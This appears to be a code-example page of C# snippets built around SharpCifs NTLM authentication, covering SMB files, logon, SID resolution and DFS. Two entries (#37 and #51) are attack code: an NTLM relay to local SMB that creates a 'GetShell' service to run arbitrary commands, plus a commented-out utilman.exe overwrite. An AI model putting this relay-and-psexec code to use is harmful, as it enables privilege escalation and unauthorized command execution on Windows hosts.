        /// <param name="auth">The credentials the client should use for authentication</param>
        /// <exception cref="System.UriFormatException">If the <code>url</code> parameter does not follow the prescribed syntax
        /// 	</exception>
        public SmbFile(string url, NtlmPasswordAuthentication auth)
            : this(new Uri(url, UriKind.RelativeOrAbsolute),
             auth)
        {

        }
예제 #31
0
        /// <exception cref="SharpCifs.Smb.SmbException"></exception>
        public static void Logon(UniAddress dc, int port, NtlmPasswordAuthentication auth
			)
        {
            SmbTree tree = SmbTransport.GetSmbTransport(dc, port).GetSmbSession(auth).GetSmbTree
                (LogonShare, null);
            if (LogonShare == null)
            {
                tree.TreeConnect(null, null);
            }
            else
            {
                Trans2FindFirst2 req = new Trans2FindFirst2("\\", "*", SmbFile.AttrDirectory);
                Trans2FindFirst2Response resp = new Trans2FindFirst2Response();
                tree.Send(req, resp);
            }
        }
예제 #32
0
 /// <summary>
 /// Authenticate arbitrary credentials represented by the
 /// <tt>NtlmPasswordAuthentication</tt> object against the domain controller
 /// specified by the <tt>UniAddress</tt> parameter.
 /// </summary>
 /// <remarks>
 /// Authenticate arbitrary credentials represented by the
 /// <tt>NtlmPasswordAuthentication</tt> object against the domain controller
 /// specified by the <tt>UniAddress</tt> parameter. If the credentials are
 /// not accepted, an <tt>SmbAuthException</tt> will be thrown. If an error
 /// occurs an <tt>SmbException</tt> will be thrown. If the credentials are
 /// valid, the method will return without throwing an exception. See the
 /// last <a href="../../../faq.html">FAQ</a> question.
 /// <p>
 /// See also the <tt>jcifs.smb.client.logonShare</tt> property.
 /// </remarks>
 /// <exception cref="SmbException"></exception>
 public static void Logon(UniAddress dc, NtlmPasswordAuthentication auth)
 {
     Logon(dc, -1, auth);
 }
예제 #33
0
 /// <exception cref="System.UriFormatException"></exception>
 /// <exception cref="UnknownHostException"></exception>
 public SmbNamedPipe(Uri url, int pipeType, NtlmPasswordAuthentication auth)
     : base(url, auth)
 {
     this.PipeType = pipeType;
     Type          = TypeNamedPipe;
 }
예제 #34
0
		/// <exception cref="UnknownHostException"></exception>
		/// <exception cref="System.UriFormatException"></exception>
		/// <exception cref="SharpCifs.Dcerpc.DcerpcException"></exception>
		public static DcerpcHandle GetHandle(string url, NtlmPasswordAuthentication auth)
		{
			if (url.StartsWith("ncacn_np:"))
			{
				return new DcerpcPipeHandle(url, auth);
			}
			throw new DcerpcException("DCERPC transport not supported: " + url);
		}
예제 #35
0
		/// <exception cref="System.UriFormatException"></exception>
		/// <exception cref="UnknownHostException"></exception>
		public SmbNamedPipe(Uri url, int pipeType, NtlmPasswordAuthentication auth) : base
			(url, auth)
		{
			this.PipeType = pipeType;
			Type = TypeNamedPipe;
		}
예제 #36
0
 public INtlmContext create(NtlmPasswordAuthentication auth, bool doSigning)
 {
     return new QueuedNtlmContext((Queue<byte[]>)auth.additionalData);
 }
예제 #37
0
        public bool doPsexec(String binPath, NtlmPasswordAuthentication auth,String cmd)
        {
            Random rnd = new Random();
            int randInt = rnd.Next(1,10000000);
            String host = "127.0.0.1";
            DcerpcHandle handle = DcerpcHandle.GetHandle("ncacn_np:" + host + "[\\pipe\\svcctl]", auth);

            // Open the SCManager on the remote machine and get a handle
            // for that open instance (scManagerHandle).
            Rpc.PolicyHandle scManagerHandle = new Rpc.PolicyHandle();
            svcctl.OpenSCManager openSCManagerRpc = new svcctl.OpenSCManager("\\\\" + host, null,
                    (0x000F0000 | 0x0001 | 0x0002 | 0x0004 | 0x0008 | 0x0010 | 0x0020), scManagerHandle);
            handle.Sendrecv(openSCManagerRpc);
            if (openSCManagerRpc.retval != 0)
            {
                throw new SmbException(openSCManagerRpc.retval, true);
            }

            Rpc.PolicyHandle svcHandle = new Rpc.PolicyHandle();
            svcctl.OpenService openServiceRpc = new svcctl.OpenService(scManagerHandle,
                    "GetShell"+randInt, svcctl.SC_MANAGER_ALL_ACCESS, svcHandle);
            handle.Sendrecv(openServiceRpc);

            // If the service didn't exist, create it.
            if (openServiceRpc.retval == 1060)
            {
                // Create a new service.
                svcHandle = new Rpc.PolicyHandle();
                //code 272 is for an interactive, own process service this was originally svcctl.SC_TYPE_SERVICE_WIN32_OWN_PROCESS
                svcctl.CreateServiceW createServiceWRpc = new svcctl.CreateServiceW(
                        scManagerHandle, "GetShell"+randInt, "GetShell"+randInt,
                        svcctl.SC_MANAGER_ALL_ACCESS, 272,
                        svcctl.SC_START_TYPE_SERVICE_DEMAND_START, svcctl.SC_SERVICE_ERROR_NORMAL,
                        cmd,
                        null, null, null, 0, null, null, 0, svcHandle);
                handle.Sendrecv(createServiceWRpc);
                if (createServiceWRpc.retval != 0)
                {
                    throw new SmbException(createServiceWRpc.retval, true);
                }
            }

            svcctl.StartService startServiceRpc = new svcctl.StartService(svcHandle, 0, new String[0]);
            handle.Sendrecv(startServiceRpc);
            return true;
        }
예제 #38
0
        internal virtual SmbSession GetSmbSession(NtlmPasswordAuthentication auth)
        {
            lock (this)
            {
                SmbSession ssn;
                long now;

                ssn = Sessions.FirstOrDefault(s => s.Matches(auth));
                if (ssn != null)
                {
                    ssn.Auth = auth;
                    return ssn;
                }

                if (SmbConstants.SoTimeout > 0 && SessionExpiration < (now = Runtime.CurrentTimeMillis()))
                {
                    SessionExpiration = now + SmbConstants.SoTimeout;

                    foreach (var session in Sessions.Where(s => s.Expiration < now))
                    {
                        session.Logoff(false);
                    }
                }
                ssn = new SmbSession(Address, Port, LocalAddr, LocalPort, auth);
                ssn.transport = this;
                Sessions.Add(ssn);
                return ssn;
            }
        }
예제 #39
0
파일: SID.cs 프로젝트: istupakov/SharpCifs
        /// <exception cref="System.IO.IOException"></exception>
        public virtual Sid[] GetGroupMemberSids(string authorityServerName, NtlmPasswordAuthentication
			 auth, int flags)
        {
            if (Type != SidTypeDomGrp && Type != SidTypeAlias)
            {
                return new Sid[0];
            }
            DcerpcHandle handle = null;
            SamrPolicyHandle policyHandle = null;
            SamrDomainHandle domainHandle = null;
            Sid domsid = GetDomainSid();
            lock (SidCache)
            {
                try
                {
                    handle = DcerpcHandle.GetHandle("ncacn_np:" + authorityServerName + "[\\PIPE\\samr]"
                        , auth);
                    policyHandle = new SamrPolicyHandle(handle, authorityServerName, unchecked(0x00000030));
                    domainHandle = new SamrDomainHandle(handle, policyHandle, unchecked(0x00000200), domsid);
                    return GetGroupMemberSids0(handle, domainHandle, domsid, GetRid(),
                        flags);
                }
                finally
                {
                    if (handle != null)
                    {
                        if (policyHandle != null)
                        {
                            if (domainHandle != null)
                            {
                                domainHandle.Close();
                            }
                            policyHandle.Close();
                        }
                        handle.Close();
                    }
                }
            }
        }
예제 #40
0
 internal bool Matches(NtlmPasswordAuthentication auth)
 {
     return(this.Auth == auth || this.Auth.Equals(auth));
 }
예제 #41
0
파일: SID.cs 프로젝트: istupakov/SharpCifs
        /// <summary>Manually resolve this SID.</summary>
        /// <remarks>
        /// Manually resolve this SID. Normally SIDs are automatically
        /// resolved. However, if a SID is constructed explicitly using a SID
        /// constructor, JCIFS will have no knowledge of the server that created the
        /// SID and therefore cannot possibly resolve it automatically. In this case,
        /// this method will be necessary.
        /// </remarks>
        /// <param name="authorityServerName">The FQDN of the server that is an authority for the SID.
        /// 	</param>
        /// <param name="auth">Credentials suitable for accessing the SID's information.</param>
        /// <exception cref="System.IO.IOException"></exception>
        public virtual void Resolve(string authorityServerName, NtlmPasswordAuthentication
			 auth)
        {
            Sid[] sids = new Sid[1];
            sids[0] = this;
            ResolveSids(authorityServerName, auth, sids);
        }
예제 #42
0
 internal bool Matches(NtlmPasswordAuthentication auth)
 {
     return this.Auth == auth || this.Auth.Equals(auth);
 }
예제 #43
0
파일: SID.cs 프로젝트: istupakov/SharpCifs
        /// <summary>
        /// This specialized method returns a Map of users and local groups for the
        /// target server where keys are SIDs representing an account and each value
        /// is an List<object> of SIDs represents the local groups that the account is
        /// a member of.
        /// </summary>
        /// <remarks>
        /// This specialized method returns a Map of users and local groups for the
        /// target server where keys are SIDs representing an account and each value
        /// is an List<object> of SIDs represents the local groups that the account is
        /// a member of.
        /// <p/>
        /// This method is designed to assist with computing access control for a
        /// given user when the target object's ACL has local groups. Local groups
        /// are not listed in a user's group membership (e.g. as represented by the
        /// tokenGroups constructed attribute retrived via LDAP).
        /// <p/>
        /// Domain groups nested inside a local group are currently not expanded. In
        /// this case the key (SID) type will be SID_TYPE_DOM_GRP rather than
        /// SID_TYPE_USER.
        /// </remarks>
        /// <param name="authorityServerName">The server from which the local groups will be queried.
        /// 	</param>
        /// <param name="auth">The credentials required to query groups and group members.</param>
        /// <param name="flags">
        /// Flags that control the behavior of the operation. When all
        /// name associated with SIDs will be required, the SID_FLAG_RESOLVE_SIDS
        /// flag should be used which causes all group member SIDs to be resolved
        /// together in a single more efficient operation.
        /// </param>
        /// <exception cref="System.IO.IOException"></exception>
        internal static Hashtable GetLocalGroupsMap(string authorityServerName, NtlmPasswordAuthentication
			 auth, int flags)
        {
            Sid domsid = GetServerSid(authorityServerName, auth);
            DcerpcHandle handle = null;
            SamrPolicyHandle policyHandle = null;
            SamrDomainHandle domainHandle = null;
            Samr.SamrSamArray sam = new Samr.SamrSamArray();
            MsrpcEnumerateAliasesInDomain rpc;
            lock (SidCache)
            {
                try
                {
                    handle = DcerpcHandle.GetHandle("ncacn_np:" + authorityServerName + "[\\PIPE\\samr]"
                        , auth);
                    policyHandle = new SamrPolicyHandle(handle, authorityServerName, unchecked(0x02000000));
                    domainHandle = new SamrDomainHandle(handle, policyHandle, unchecked(0x02000000), domsid);
                    rpc = new MsrpcEnumerateAliasesInDomain(domainHandle, unchecked(0xFFFF), sam
                        );
                    handle.Sendrecv(rpc);
                    if (rpc.Retval != 0)
                    {
                        throw new SmbException(rpc.Retval, false);
                    }
                    Hashtable map = new Hashtable();
                    for (int ei = 0; ei < rpc.Sam.Count; ei++)
                    {
                        Samr.SamrSamEntry entry = rpc.Sam.Entries[ei];
                        Sid[] mems = GetGroupMemberSids0(handle, domainHandle, domsid
                            , entry.Idx, flags);
                        Sid groupSid = new Sid(domsid, entry.Idx);
                        groupSid.Type = SidTypeAlias;
                        groupSid.DomainName = domsid.GetDomainName();
                        groupSid.AcctName = (new UnicodeString(entry.Name, false)).ToString();
                        for (int mi = 0; mi < mems.Length; mi++)
                        {
                            List<object> groups = (List<object>)map.Get(mems[mi]);
                            if (groups == null)
                            {
                                groups = new List<object>();
                                map.Put(mems[mi], groups);
                            }
                            if (!groups.Contains(groupSid))
                            {
                                groups.Add(groupSid);
                            }
                        }
                    }
                    return map;
                }
                finally
                {
                    if (handle != null)
                    {
                        if (policyHandle != null)
                        {
                            if (domainHandle != null)
                            {
                                domainHandle.Close();
                            }
                            policyHandle.Close();
                        }
                        handle.Close();
                    }
                }
            }
        }
예제 #44
0
        /// <exception cref="System.IO.IOException"></exception>
        internal virtual void DoConnect()
        {
            SmbTransport trans;
            UniAddress addr;
            addr = GetAddress();

            if (Tree != null && Tree.Session.transport.Address.Equals(addr))
            {
                trans = Tree.Session.transport;
            }
            else
            {
                trans = SmbTransport.GetSmbTransport(addr, Url.Port);
                Tree = trans.GetSmbSession(Auth).GetSmbTree(_share, null);
            }


            string hostName = GetServerWithDfs();
            if (_enableDfs)
            {
                Tree.InDomainDfs = Dfs.Resolve(hostName, Tree.Share, null, Auth) != null;
            }
            if (Tree.InDomainDfs)
            {
                Tree.ConnectionState = 2;
            }
            try
            {
                if (Log.Level >= 3)
                {
                    Log.WriteLine("doConnect: " + addr);
                }
                Tree.TreeConnect(null, null);
            }
            catch (SmbAuthException sae)
            {
                NtlmPasswordAuthentication a;
                SmbSession ssn;
                if (_share == null)
                {
                    // IPC$ - try "anonymous" credentials
                    ssn = trans.GetSmbSession(NtlmPasswordAuthentication.Null);
                    Tree = ssn.GetSmbTree(null, null);
                    Tree.TreeConnect(null, null);
                }
                else
                {
                    if ((a = NtlmAuthenticator.RequestNtlmPasswordAuthentication(Url.ToString(), sae)
                        ) != null)
                    {
                        Auth = a;
                        ssn = trans.GetSmbSession(Auth);
                        Tree = ssn.GetSmbTree(_share, null);
                        Tree.InDomainDfs = Dfs.Resolve(hostName, Tree.Share, null, Auth) != null;
                        if (Tree.InDomainDfs)
                        {
                            Tree.ConnectionState = 2;
                        }
                        Tree.TreeConnect(null, null);
                    }
                    else
                    {
                        if (Log.Level >= 1 && HasNextAddress())
                        {
                            Runtime.PrintStackTrace(sae, Log);
                        }
                        throw;
                    }
                }
            }
        }
예제 #45
0
파일: SID.cs 프로젝트: istupakov/SharpCifs
        /// <exception cref="System.IO.IOException"></exception>
        internal static void ResolveSids0(string authorityServerName, NtlmPasswordAuthentication
			 auth, Sid[] sids)
        {
            DcerpcHandle handle = null;
            LsaPolicyHandle policyHandle = null;
            lock (SidCache)
            {
                try
                {
                    handle = DcerpcHandle.GetHandle("ncacn_np:" + authorityServerName + "[\\PIPE\\lsarpc]"
                        , auth);
                    string server = authorityServerName;
                    int dot = server.IndexOf('.');
                    if (dot > 0 && char.IsDigit(server[0]) == false)
                    {
                        server = Runtime.Substring(server, 0, dot);
                    }
                    policyHandle = new LsaPolicyHandle(handle, "\\\\" + server, unchecked(0x00000800));
                    ResolveSids(handle, policyHandle, sids);
                }
                finally
                {
                    if (handle != null)
                    {
                        if (policyHandle != null)
                        {
                            policyHandle.Close();
                        }
                        handle.Close();
                    }
                }
            }
        }
예제 #46
0
 /// <summary>Constructs an SmbFile representing a file on an SMB network.</summary>
 /// <remarks>
 /// Constructs an SmbFile representing a file on an SMB network. The
 /// <tt>shareAccess</tt> parameter controls what permissions other
 /// clients have when trying to access the same file while this instance
 /// is still open. This value is either <tt>FILE_NO_SHARE</tt> or any
 /// combination of <tt>FILE_SHARE_READ</tt>, <tt>FILE_SHARE_WRITE</tt>,
 /// and <tt>FILE_SHARE_DELETE</tt> logically OR'd together.
 /// </remarks>
 /// <param name="url">A URL string</param>
 /// <param name="auth">The credentials the client should use for authentication</param>
 /// <param name="shareAccess">Specifies what access other clients have while this file is open.
 /// 	</param>
 /// <exception cref="System.UriFormatException">If the <code>url</code> parameter does not follow the prescribed syntax
 /// 	</exception>
 public SmbFile(string url, NtlmPasswordAuthentication auth, int shareAccess)
     : this
         (new Uri(url), auth)
 {
     // Initially null; set by getUncPath; dir must end with '/'
     // Can be null
     // For getDfsPath() and getServerWithDfs()
     // Cannot be null
     // Initially null
     // Initially null; set by getUncPath; never ends with '/'
     // Initially 0; set by open()
     if ((shareAccess & ~(FileShareRead | FileShareWrite | FileShareDelete)) !=
         0)
     {
         throw new RuntimeException("Illegal shareAccess parameter");
     }
     this._shareAccess = shareAccess;
 }
예제 #47
0
파일: SID.cs 프로젝트: istupakov/SharpCifs
 internal virtual void ResolveWeak()
 {
     if (OriginServer != null)
     {
         try
         {
             Resolve(OriginServer, OriginAuth);
         }
         catch (IOException)
         {
         }
         finally
         {
             OriginServer = null;
             OriginAuth = null;
         }
     }
 }
예제 #48
0
 /// <summary>
 /// Constructs an SmbFile representing a resource on an SMB network such
 /// as a file or directory.
 /// </summary>
 /// <remarks>
 /// Constructs an SmbFile representing a resource on an SMB network such
 /// as a file or directory. The second parameter is a relative path from
 /// the <code>context</code>. See the description above for examples of
 /// using the second <code>name</code> parameter. The <tt>shareAccess</tt>
 /// parameter controls what permissions other clients have when trying
 /// to access the same file while this instance is still open. This
 /// value is either <tt>FILE_NO_SHARE</tt> or any combination
 /// of <tt>FILE_SHARE_READ</tt>, <tt>FILE_SHARE_WRITE</tt>, and
 /// <tt>FILE_SHARE_DELETE</tt> logically OR'd together.
 /// </remarks>
 /// <param name="context">A URL string</param>
 /// <param name="name">A path string relative to the <code>context</code> paremeter</param>
 /// <param name="auth">The credentials the client should use for authentication</param>
 /// <param name="shareAccess">Specifies what access other clients have while this file is open.
 /// 	</param>
 /// <exception cref="System.UriFormatException">
 /// If the <code>context</code> and <code>name</code> parameters
 /// do not follow the prescribed syntax
 /// </exception>
 public SmbFile(string context, string name, NtlmPasswordAuthentication auth, int
     shareAccess)
     : this(new Uri(context + name), auth)
 {
     if ((shareAccess & ~(FileShareRead | FileShareWrite | FileShareDelete)) !=
         0)
     {
         throw new RuntimeException("Illegal shareAccess parameter");
     }
     this._shareAccess = shareAccess;
 }
예제 #49
0
 /// <exception cref="SharpCifs.Smb.SmbException"></exception>
 internal virtual DfsReferral[] __getDfsReferrals(NtlmPasswordAuthentication auth,
     string path, int rn)
 {
     SmbTree ipc = GetSmbSession(auth).GetSmbTree("IPC$", null);
     Trans2GetDfsReferralResponse resp = new Trans2GetDfsReferralResponse();
     ipc.Send(new Trans2GetDfsReferral(path), resp);
     if (rn == 0 || resp.NumReferrals < rn)
     {
         rn = resp.NumReferrals;
     }
     DfsReferral[] drs = new DfsReferral[rn];
     string[] arr = new string[4];
     long expiration = Runtime.CurrentTimeMillis() + Dfs.Ttl * 1000;
     for (int di = 0; di < drs.Length; di++)
     {
         DfsReferral dr = new DfsReferral();
         dr.ResolveHashes = auth.HashesExternal;
         dr.Ttl = resp.Referrals[di].Ttl;
         dr.Expiration = expiration;
         if (path.Equals(string.Empty))
         {
             dr.Server = Runtime.Substring(resp.Referrals[di].Path, 1).ToLower();
         }
         else
         {
             DfsPathSplit(resp.Referrals[di].Node, arr);
             dr.Server = arr[1];
             dr.Share = arr[2];
             dr.Path = arr[3];
         }
         dr.PathConsumed = resp.PathConsumed;
         drs[di] = dr;
     }
     return drs;
 }
예제 #50
0
        /// <exception cref="System.UriFormatException"></exception>
        /// <exception cref="UnknownHostException"></exception>
        /*internal SmbFile(Jcifs.Smb.SmbFile context, string name, int type, int attributes
            , long createTime, long lastModified, long size)
            : this(context.IsWorkgroup0() ?
                new Uri(null, "smb://" + name + "/") : new Uri(context.url,
                name + ((attributes & ATTR_DIRECTORY) > 0 ? "/" : string.Empty)))*/
        internal SmbFile(SmbFile context, string name, int type, int attributes
            , long createTime, long lastModified, long size)
            : this(context.IsWorkgroup0() ?
                new Uri("smb://" + name + "/") : new Uri(context.Url.AbsoluteUri +
                name + ((attributes & AttrDirectory) > 0 ? "/" : string.Empty)))
        {
            Auth = context.Auth;
            if (context._share != null)
            {
                Tree = context.Tree;
                _dfsReferral = context._dfsReferral;
            }
            int last = name.Length - 1;
            if (name[last] == '/')
            {
                name = Runtime.Substring(name, 0, last);
            }
            if (context._share == null)
            {
                Unc = "\\";
            }
            else
            {
                if (context.Unc.Equals("\\"))
                {
                    Unc = '\\' + name;
                }
                else
                {
                    Unc = context.Unc + '\\' + name;
                }
            }

            if (!context.IsWorkgroup0())
            {
                Addresses = context.Addresses;
            }

            this._enableDfs = context.EnableDfs;

            this.Type = type;
            this._attributes = attributes;
            this._createTime = createTime;
            this._lastModified = lastModified;
            this._size = size;
            _isExists = true;
            _attrExpiration = _sizeExpiration = Runtime.CurrentTimeMillis() + AttrExpirationPeriod;
        }
예제 #51
0
        public void startSMBRelay(Queue<byte[]> ntlmQueue,String cmd)
        {
            Config.setNtlmContextFactory(new Config.QueuedNtlmContextFactoryImpl());
            NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication(".", "", "");
            auth.additionalData = ntlmQueue;
            Console.WriteLine("Setting up SMB relay...");
            /*
            SmbFile f = new SmbFile("smb://127.0.0.1/C$/Windows/System32/utilman.exe", auth);
            SmbFileOutputStream os = new SmbFileOutputStream(f);
            os.Write(System.Text.Encoding.Unicode.GetBytes("start cmd.exe /k \"whoami\""));
            os.Close();*/

            bool status = doPsexec("C:\\Windows\\System32\\cmd.exe", auth,cmd);
            if (status)
            {
                Console.WriteLine("Successfully started service");
                ntlmQueue.Enqueue(new byte[] { 99 });
                Config.signalHandlerClient.Set();
            }
            else
            {
                Console.WriteLine("Failed");
            }
        }
예제 #52
0
파일: SID.cs 프로젝트: istupakov/SharpCifs
        /// <exception cref="System.IO.IOException"></exception>
        public static Sid GetServerSid(string server, NtlmPasswordAuthentication
			 auth)
        {
            DcerpcHandle handle = null;
            LsaPolicyHandle policyHandle = null;
            Lsarpc.LsarDomainInfo info = new Lsarpc.LsarDomainInfo();
            MsrpcQueryInformationPolicy rpc;
            lock (SidCache)
            {
                try
                {
                    handle = DcerpcHandle.GetHandle("ncacn_np:" + server + "[\\PIPE\\lsarpc]", auth);
                    // NetApp doesn't like the 'generic' access mask values
                    policyHandle = new LsaPolicyHandle(handle, null, unchecked(0x00000001));
                    rpc = new MsrpcQueryInformationPolicy(policyHandle, Lsarpc.PolicyInfoAccountDomain
                        , info);
                    handle.Sendrecv(rpc);
                    if (rpc.Retval != 0)
                    {
                        throw new SmbException(rpc.Retval, false);
                    }
                    return new Sid(info.Sid, SidTypeDomain, (new UnicodeString
                        (info.Name, false)).ToString(), null, false);
                }
                finally
                {
                    if (handle != null)
                    {
                        if (policyHandle != null)
                        {
                            policyHandle.Close();
                        }
                        handle.Close();
                    }
                }
            }
        }
예제 #53
0
파일: SID.cs 프로젝트: istupakov/SharpCifs
        /// <summary>Resolve an array of SIDs using a cache and at most one MSRPC request.</summary>
        /// <remarks>
        /// Resolve an array of SIDs using a cache and at most one MSRPC request.
        /// <p>
        /// This method will attempt
        /// to resolve SIDs using a cache and cache the results of any SIDs that
        /// required resolving with the authority. SID cache entries are currently not
        /// expired because under normal circumstances SID information never changes.
        /// </remarks>
        /// <param name="authorityServerName">The hostname of the server that should be queried. For maximum efficiency this should be the hostname of a domain controller however a member server will work as well and a domain controller may not return names for SIDs corresponding to local accounts for which the domain controller is not an authority.
        /// 	</param>
        /// <param name="auth">The credentials that should be used to communicate with the named server. As usual, <tt>null</tt> indicates that default credentials should be used.
        /// 	</param>
        /// <param name="sids">The SIDs that should be resolved. After this function is called, the names associated with the SIDs may be queried with the <tt>toDisplayString</tt>, <tt>getDomainName</tt>, and <tt>getAccountName</tt> methods.
        /// 	</param>
        /// <exception cref="System.IO.IOException"></exception>
        public static void ResolveSids(string authorityServerName, NtlmPasswordAuthentication
			 auth, Sid[] sids)
        {
            List<object> list = new List<object>();//new List<object>(sids.Length);
            int si;
            lock (SidCache)
            {
                for (si = 0; si < sids.Length; si++)
                {
                    Sid sid = (Sid)SidCache.Get(sids[si]);
                    if (sid != null)
                    {
                        sids[si].Type = sid.Type;
                        sids[si].DomainName = sid.DomainName;
                        sids[si].AcctName = sid.AcctName;
                    }
                    else
                    {
                        list.Add(sids[si]);
                    }
                }
                if (list.Count > 0)
                {
                    //sids = (Jcifs.Smb.SID[])Sharpen.Collections.ToArray(list, new Jcifs.Smb.SID[0]);
                    sids = (Sid[]) list.ToArray();
                    ResolveSids0(authorityServerName, auth, sids);
                    for (si = 0; si < sids.Length; si++)
                    {
                        SidCache.Put(sids[si], sids[si]);
                    }
                }
            }
        }
예제 #54
0
 /// <exception cref="SharpCifs.Smb.SmbException"></exception>
 internal SmbComSessionSetupAndX(SmbSession session, ServerMessageBlock andx, object
                                 cred) : base(andx)
 {
     Command       = SmbComSessionSetupAndx;
     this.Session  = session;
     this.Cred     = cred;
     _sessionKey   = session.transport.SessionKey;
     _capabilities = session.transport.Capabilities;
     if (session.transport.Server.Security == SmbConstants.SecurityUser)
     {
         if (cred is NtlmPasswordAuthentication)
         {
             NtlmPasswordAuthentication auth = (NtlmPasswordAuthentication)cred;
             if (auth == NtlmPasswordAuthentication.Anonymous)
             {
                 _lmHash        = new byte[0];
                 _ntHash        = new byte[0];
                 _capabilities &= ~SmbConstants.CapExtendedSecurity;
             }
             else
             {
                 if (session.transport.Server.EncryptedPasswords)
                 {
                     _lmHash = auth.GetAnsiHash(session.transport.Server.EncryptionKey);
                     _ntHash = auth.GetUnicodeHash(session.transport.Server.EncryptionKey);
                     // prohibit HTTP auth attempts for the null session
                     if (_lmHash.Length == 0 && _ntHash.Length == 0)
                     {
                         throw new RuntimeException("Null setup prohibited.");
                     }
                 }
                 else
                 {
                     if (DisablePlainTextPasswords)
                     {
                         throw new RuntimeException("Plain text passwords are disabled");
                     }
                     if (UseUnicode)
                     {
                         // plain text
                         string password = auth.GetPassword();
                         _lmHash = new byte[0];
                         _ntHash = new byte[(password.Length + 1) * 2];
                         WriteString(password, _ntHash, 0);
                     }
                     else
                     {
                         // plain text
                         string password = auth.GetPassword();
                         _lmHash = new byte[(password.Length + 1) * 2];
                         _ntHash = new byte[0];
                         WriteString(password, _lmHash, 0);
                     }
                 }
             }
             _accountName = auth.Username;
             if (UseUnicode)
             {
                 _accountName = _accountName.ToUpper();
             }
             _primaryDomain = auth.Domain.ToUpper();
         }
         else
         {
             if (cred is byte[])
             {
                 _blob = (byte[])cred;
             }
             else
             {
                 throw new SmbException("Unsupported credential type");
             }
         }
     }
     else
     {
         if (session.transport.Server.Security == SmbConstants.SecurityShare)
         {
             if (cred is NtlmPasswordAuthentication)
             {
                 NtlmPasswordAuthentication auth = (NtlmPasswordAuthentication)cred;
                 _lmHash      = new byte[0];
                 _ntHash      = new byte[0];
                 _accountName = auth.Username;
                 if (UseUnicode)
                 {
                     _accountName = _accountName.ToUpper();
                 }
                 _primaryDomain = auth.Domain.ToUpper();
             }
             else
             {
                 throw new SmbException("Unsupported credential type");
             }
         }
         else
         {
             throw new SmbException("Unsupported");
         }
     }
 }
예제 #55
0
 /// <summary>
 /// Authenticate arbitrary credentials represented by the
 /// <tt>NtlmPasswordAuthentication</tt> object against the domain controller
 /// specified by the <tt>UniAddress</tt> parameter.
 /// </summary>
 /// <remarks>
 /// Authenticate arbitrary credentials represented by the
 /// <tt>NtlmPasswordAuthentication</tt> object against the domain controller
 /// specified by the <tt>UniAddress</tt> parameter. If the credentials are
 /// not accepted, an <tt>SmbAuthException</tt> will be thrown. If an error
 /// occurs an <tt>SmbException</tt> will be thrown. If the credentials are
 /// valid, the method will return without throwing an exception. See the
 /// last <a href="../../../faq.html">FAQ</a> question.
 /// <p>
 /// See also the <tt>jcifs.smb.client.logonShare</tt> property.
 /// </remarks>
 /// <exception cref="SmbException"></exception>
 public static void Logon(UniAddress dc, NtlmPasswordAuthentication auth)
 {
     Logon(dc, -1, auth);
 }